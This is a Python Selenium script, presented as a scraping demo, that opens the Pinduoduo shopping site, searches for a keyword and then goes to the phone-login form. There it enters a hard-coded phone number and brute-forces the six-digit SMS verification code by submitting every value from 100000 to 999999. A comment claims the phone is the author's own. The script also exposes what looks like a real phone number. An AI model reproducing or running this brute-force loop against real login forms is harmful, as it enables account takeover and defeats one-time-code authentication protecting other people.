import time

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.firefox.options import Options as FOptions
from selenium.webdriver.support.ui import WebDriverWait

# @tip 一个爬取网页的demo
class Main:

    def __init__(self):
        text = input('输入关键字：')
        url = 'http://yangkeduo.com'
        options = FOptions()
        # 隐藏火狐浏览器窗口
        # options.add_argument('-headless')
        # 驱动需要下载：https://github.com/mozilla/geckodriver/releases
        brower = webdriver.Firefox(executable_path='E:\webdriver\geckodriver.exe', firefox_options=options)
        brower.get(url)
        # 点击输入框
        brower.find_element_by_class_name('_2fnObgNt').click()

        brower.find_element_by_class_name('_2bfwu6WT').send_keys(text)
        # 点击搜索
        brower.find_element_by_class_name('RuSDrtii').click()
        self.get_pwd(brower)
        # for x in brower.find_elements_by_class_name('PaqiRfm9'):
        #     # 打印商品名称
        #     name = x.find_element_by_class_name('pHbSR-xp').text
        #     print(name)


    def get_pwd(self, brower):
        wait = WebDriverWait(brower, 5)
        btn = wait.until(EC.presence_of_element_located((By.CLASS_NAME, "phone-login")))
        # 点击手机登录
        # btn
        brower.find_element_by_class_name('phone-login').click()
        # 暴力破解自己的手机验证码
        tel= '18066855177'
        sign = 100000
        brower.find_element_by_id('user-mobile').send_keys(tel)
        for x in range(100000, 999999):
            print(x)
            brower.find_element_by_id('input-code').clear()
            brower.find_element_by_id('input-code').send_keys(x)
            time.sleep(3)
            brower.find_element_by_id('submit-button').click()
            if not brower.find_element_by_id('submit-button'):
                print('验证码', x)
                break


